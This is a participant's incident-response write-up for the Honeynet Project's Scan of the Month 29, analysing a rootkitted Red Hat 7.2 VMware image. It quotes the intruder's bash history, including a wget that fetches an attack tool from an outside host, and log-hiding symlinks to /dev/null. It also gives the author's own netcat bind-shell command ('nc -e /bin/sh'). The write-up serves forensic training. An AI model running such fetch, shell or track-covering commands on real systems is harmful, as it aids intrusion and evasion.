The Honeynet Project - Scan 29
Entry by Thomas Stewart thomasATstewarts.org.uk
The Challenge:
On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. Note, this image was recovered from VMware Workstation 4.0, it will not work in older versions. You can download an evaluation copy.
Questions
Bonus Question:
What nationality do you believe the attacker(s) to be, and why?
Before Starting
Before starting I needed to try to make my setup a bit more secure, so that anything running on the virtual machine would not spread or make network connections to the Internet. I took a look at the virtual machines config file, and saw that the NIC in the virtual machine was vmnet0, which by default is a bridged one, in VMware this means that that to everyone looking at the machine it appears as if its directly plugged in to the network and not a virtual machine at all. This is a very nice feature and often quite useful. However I did not want this machine on my network so I had to find a way round it.
I decided that a host only virtual machine network interface would be safe. I did not want the virtual machine free on my network, but I did need to communicate with it so I could transfer files. My first task was to find out what subnet the virtual machine was on, so my host only network interface could match it.
I did not want to take any risks, so I made sure ip forwarding was disabled, flushed my iptables ruleset, and stopped all net traffic.
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP
iptables -A OUTPUT -j DROP
I then turned on the virtual machine and ran "ipconfig -a", and quickly paused the VM again. This showed me that the machines IP address was 192.168.1.79. This meant my new virtual host only interface had to be on the 192.168.1.0/24 subnet.
So I added a host only network interface to VMwares setup (vmnet2), gave it the IP address of 192.168.1.1 for simplicity. Then I deleted the virtual machine files and re-extracted them. I hand edited the virtual machine config file (linux.vmx) to use this new interface. Here is a diff of the changes in question.
diff linux-2.orig/linux.vmx linux-2/linux.vmx
27c27
< Ethernet0.vnet = "/dev/vmnet0"
---
> Ethernet0.vnet = "/dev/vmnet2"
To be extra safe, I decided to drop any traffic from the virtual machine if it was not destined to my own PC.
iptables -F
iptables -A INPUT -s 192.168.1.79 -d 192.168.0.49 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -d 192.168.0.49 -j DROP
iptables -A FORWARD -s 192.168.1.0/24 -j DROP
Then I updated my Linux distribution, as I use Debian, I was able to just do a "apt-get update && apt-get upgrade". This made sure all the software I was running was up to date, and that all the known security hole were patched.
Then I switched ON.
Ready to start
Q1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.
(This is a bit difficult, because I all ready know for sure that the system is compromised as there would be no SotM? In real life one might not notice. Fortunately in this case it glares out after a ls and a ps listing is done, even tho in many cases it would not)
Just to see whats running I first tried a ps, it all looked pretty normal, until I came across these 3 processes.
# ps auxww
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
<SNIP>
root 25239 0.0 0.3 1880 336 ? S 15:32 0:00 /lib/.x/s/xopen -q -p 3128
root 25241 0.0 0.7 1888 672 ? S 15:32 0:00 /lib/.x/s/xopen -q -p 3128
root 25247 0.0 0.7 1668 732 ? S 15:32 0:00 /lib/.x/s/lsn
Anything with a name like /lib/.x is very questionable. It is most definitely a trojan or root kit of sorts. Dot directories like this are commonly used to store files used by intruders as its easy to miss them. The ls command does not list them, only with the -a option are they displayed. I would defiantly not expect them there usually.
Running strings and grep on the xopen binary revealed that is it a ssh server. And telneting to one of the xopen ports relieved that it claims to be an ssh server. I was also able to add a test user, and ssh to the virtual machine.
A "ls -la" revealed that .bash_history was a symbolic link to /dev/null.
# ls -la .bash_history
lrwxrwxrwx 1 root root 9 Aug 10 15:30 .bash_history -> /dev/null
The .bash_history file lists the last command typed. It is placed in the home dir of the user running the bash session. Bash is the default shell for Redhat. Disabling the history like this is good sign that a intruder wants to cover their tracks. Or that a script or sorts has been ran and made the link, depending on the skill of the attacker.
I then decided to check the logs. By default the syslogd on Red Had systems logs most messages to /var/log/messages. I found that /var/log/messages was also a symbolic link to /dev/null as well.
# ls -la /var/log/messages
lrwxrwxrwx 1 root root 9 Aug 10 15:30 /var/log/messages -> /dev/null
This is also a good sign that the intruder was covering their tracks. Running stat, which I compiled by hand, revealed that the two files had exactly the same modify times. As they were the same its most likely that they were made with a script. (Of coarse there is no way to tell for sure). This would defiantly point to a root kit, a set of programs and scripts that a intruder runs to automatically do things. These can vary from cleaning up their tracks, installing trojans and modifying binaries to hide information.
And to round it all off, I found a .bash_history file in the root directory.
# cat /.bash_history
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302
Obviously they did not clean their tracks well enough. The izolam.net/sslstop.tar.gz still existed when writing, but there is no guarantee that its the same file that the attacker got. However that archive has two utilities that modify apache config and reload apache, one to change the ssl port to something different and one to just turn off the ssl in apache. As the user has just downloaded this, used ps and grep to find all the apache processes. Its likely that the "kill -9" was killing all the apache processes off, to free the ports so the root kit (xopen binary) could listen on those ports instead.
The /dev/shm directory still exists, but only had one file in it. There is a binary called k. It is a setuid root and spawns a shell when run, thus enabling any normal user account to span a root shell. (I found this out after I had decided that the system was compromised, and I had virtually migrated the virtual machines virtual services to my other virtual server to enable me to do a virtual dead analysis.) Its probably how the attacker first got root access.
Its defiantly Compromised
This is enough proof to me that something very fishy to say the least is going on, and the machine in question has been compromised.
Q2. Explain the impact that your actions had on the running system.
So far the actions above, had had no real impact. As they were just system admin commands that did not effect the servers services. However now that the system is known to be compromised, there is no way to know what the state of the system and its services is in. Any one of the services could have been tampered with, or there could be tens of Trojans installed. The next step would be unplug the system from the network immediately, migrate the services it provides to other servers using known un-compromised good backups. After this I would take a fullback up of the whole system, without rebooting first. Only then would I start dead analysis. And then the impact of commands would be minimal.
Depending on the setup that could be easy, or it could be a complete nightmare, most probably the latter. I think that once the system is known to be compromised like that you have not clue about its state, the only choice is to take it off the wire and suffer the consequences later.
The main impact is that it takes time to realize that the system is tampered with this means that the attacker has longer to operate.
As for the impact on the actual evidence, it was pretty minimal. The only changes I made to the system were a few of my own compiled utilities in /root and a file text files with analysis in them in /root. Its unknown what state the infected binaries left the system in, after I had finished analyzing them. As they are unknown, they could have fired off a "RM -R -F /" (no caps) at any time.
(Something to consider is that with VMware, and SotMs there is less pressure, its not your company's cooperate website on the line or your job etc. I was able to take my time and carefully research each element of the attack. I also found that I was more willing to experiment and not worry about it, just running random binaries and make as root I would never do. If I was administrating the real system and came in some morning, did an ls and found it linked to /dev/null and then did a ps and found wered stuff running. I would probably freak and start typing like mad, and certainly write my days tea breaks off.)
Q3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).
With the aid of a statically compiled copy of lsof which I compiled by hand on my system and ftped to the virtual machine. I was able to find these pids. I knew that the system was tampered with, so I did not trust ps.
15119 (initd), ports 65336 and 65436
25239 (xopen), ports 3049, 443(https) and 80(http)
25241 (xopen), ports 3128 (squid proxy usualy), 443(https) and 80(http)
25247 (lsn), ports 443(https) and 80(http)
3137 (smbd), the /usr/sbin/smbd checked out OK with the md5sum. But there was a binary in /usr/bin called "smbd -D" to look like smbd in daemon mode (-D). It was listening on port 2003(cfinger/GNU finger). With strings it appears to be an ssh server.
3153("(swapd"), another one listening on ports 443(https) and 80(http). Which is quite weired, with strings it appears to be the attackers own binary.
I also noticed that the netstat command refused the -p option. Which shows the process that has the port open. The version of the command (from net-tools) is 1.39, compared with 1.42 on my Debian sarge system. Which is not too old, but the md5sum shows that the netstat has been modified.
I then decided to compile a static netstat to actually see which processes had the ports open.
15119 (initd), ports 65336 and 65436
25239 (xopen), port 3049
25241 (xopen), port 3128(squid)
25247 (lsn), nothing (other process probably opened it first)
3137 (smbd), ports 80(http), 2003(cfinger/GNU finger) and 443(https)
3152 ("(swapd)"), nothing (other process probably opened it first)
After a few google searches, lsn looks like the SucKIT rootkit.
Q4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?
A simple "netstat -an" from the system revealed that there was 1 established connection from port 65336 to 213.154.118.200 port 1188. At the time of writing this ip address resolves to sanido-08.is.pcnet.ro.
The process that had the established connection was initd (found with lsof from Q3). A quick "find / | grep initd" revealed that the binary was in "/etc/opt/psybnc". A look around revealed that /etc/opt had a tar.gz of the program. It looks like it was downloaded, compiled and ran. psyBNC is an IRC Bouncer. An IRC Bouncer runs on a remote server, so your nick is always in a channel, then you connect to the bouncer when you want to use that nick. Its a way of hiding your original address from the ircd. Also some bouncers do usefully things like take messages.
As I knew the system was compromised and netstat seemed dodgy. I ran a few more lsof commands and tried my static copy of netstat. Which revealed some information, "lsof -n -i | grep initd" revealed 2 more established connections. One to 199.184.165.133 port 6667, which resolves to undernet.irc.rcn.net on a ircd port. The other one was to 64.62.96.42 also port 6667, which does not resolve. The only active connections were the initd ones.
The same information was shown with netstat:-
#./netstat -anp | grep ESTABLISHED
tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
tcp 0 9 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd
tcp 0 9 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd
As I cant see any traffic I can't be sure what service it is, but I can make a good guess. Its probably irc traffic. The one weird thing is the name of the binary, usually its called psybnc. I suspected that the binary had just been renamed. So I re-ran make, and a psybnc binary was made. The new binary and the original initd were identical, it was probably renamed to try to hide it. Another good pointer is that it was connected to undernet, which is a big IRC network.
Q5. How many instances of an SSH server were installed and at what times?
4 instances:-
/usr/sbin/ssh aged Sep 6th 2001
/lib/.x/s/xopen, the file has a time stamp of dec 28th 2002, but the rest of the /lib/.x directory structure it was installed Aug 10th around 15:32
"/usr/bin/smbd -D" aged Sep 3rd 2002
/usr/lib/sp0 aged Jun 1st 21:03 (uid apache, gid apache)
I can't tell for sure when they were installed, as the time stamps might have been changed, or they might just be the original from from a rootkit tar.
Q6. Which instances of the SSH servers from question 5 were run?
699 /usr/bin/sshd
25239 /lib/.x/s/xopen
25241 /lib/.x/s/xopen
3137 "/usr/bin/smbd -D"
Q7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?
The RedHat sshd was not modified, but the other ssh servers could have been, but I could not find any collected information. There is also a possibility that they were back doors/
Q8. Which system executables (if any) were trojaned and what configuration files did they use?
The quickest way of finding this out was by using the md5sums provided. (Its good practice to keep a full md5sum list)
# wget -O - ftp://192.168.1.1/stuff/linux-suspended-md5s.gz | gunzip -c | md5sum -w -c - &> md5result
I then ftped the file back to examine the output more closely, "grep -v "OK$" md5result" revealed what files failed the check. 83 files failed this is not immediately worrying as many files change on an active system. Here is a summery of the suspisious files:-
most of /var/log is gone.
/etc/rc.d/init.d/functions was modified with a time stamp of aug 10th 13:33
/etc/rc.d/rc.sysinit was modifyed with a time stamp of aug 10th 15:30
/usr/bin/top with an absurd time stamp of sept 25th 1983 (Attackers DoB maybe?)
/bin/netstat with a time stamp of Dec 13 2001
/bin/ls with a time stamp of Dec 12 2001
/bin/ps with a time stamp of Dec 12 2001
/sbin/ifconfig with a time stamp of Dec 12 2001
So it would appear that top, netstat, ls, ps and ifconfig were all modified. Probably to hide information. As far as I can tell these are not trojens.
/usr/sbin/sshd was not trojaned.
Trojans open up a back door, or easy way into a system once it has been compromised. As far as I can see none of the system (ie RedHat files) have been trojaned, but there are extra binaries that are weired. There were in lsn, xopen, "(swapd)", "smbd -D". Some could be saving information, some could be back doors.
Now to find out once and for all what extra files are installed:-
# wget -O - ftp://192.168.1.1/stuff/linux-suspended-md5s.gz | gunzip -c | awk '{print $2}' | sort > filelist.orig
#find / -type f | sort > filelist.new
#diff filelist.orig filelist.new > filelist.diff
#wc -l filelist.diff
1211 filelist.diff
#cat filelist.diff | grep -v "^> /proc/" > filelist.diff2
#wc -l filelist.diff2
553 filelist.diff2
That seems reasonable. Now remove the psybnc sources.
#cat filelist.diff2 | grep -v "^> /etc/opt/psybnc/" > filelist.diff3
#wc -l filelist.diff3
139 filelist.diff3
The looks suspicious, except for my static binaries, and a few file locks. Here is a list of the suspicious things. I removed the programs and files I have all ready talked about to make it shorter.
/bin/pico
/dev/hdx1
/dev/hdx2
/dev/ttyoa
/dev/ttyof
/dev/ttyop
/etc/psdevtab
/usr/bin/crontabs
/usr/bin/logclear
/usr/bin/sense
/usr/bin/sl2
/usr/bin/x.pid
/usr/include/iceconf.h
/usr/include/icekey.h
/usr/include/icepid.h
/usr/include/iceseed.h
/usr/lib/adore.o
/usr/lib/cleaner.o
/usr/lib/libice.log
/usr/lib/libshtift/ifconfig
/usr/lib/libshtift/ls
/usr/lib/libshtift/netstat
/usr/lib/libshtift/ps
/usr/lib/libshtift/top
/usr/lib/libsss
Q9. How and from where was the system likely compromised?
The system is old in relation to the amount of security holes lately. It was running apache, sendmail and ssh. All of which have had security holes recently.
There is a binary /dev/shm/k, when run this gives root access. Running strings on it there is text "emails newtraceuser@yahoo.com". And when run it sends a mail off to that address.
My guess is that the attacker found a hole in one of the previous 3 packages, managed to create the /dev/shm/k file, became root, downloaded the apache config utilities, and then installed the rootkit (which included a ssh server and the modifued system binarys)
Q Bonus. What nationality do you believe the attacker(s) to be, and why?
As the irc bouncer was connected to undernet and guesssanido-08.is.pcnet.ro I would say that the latter host name was possibly his point of attack, and maybe his location. As its a ro tld, the attacker could be from Romania.
Extra Tools Used
lsof
busybox
netstat
stat
nc - used to type long commands in, because I'm lazy. e.g "nc -e /bin/sh -l -p 9999" in vmware and "nc 192.168.1.79 9999" on my pc.
Links
http://freshmeat.net/projects/psybnc/
http://www.phrack.org/show.php?p=58&a=7
http://www.iana.org/cctld/cctld-whois.htm#r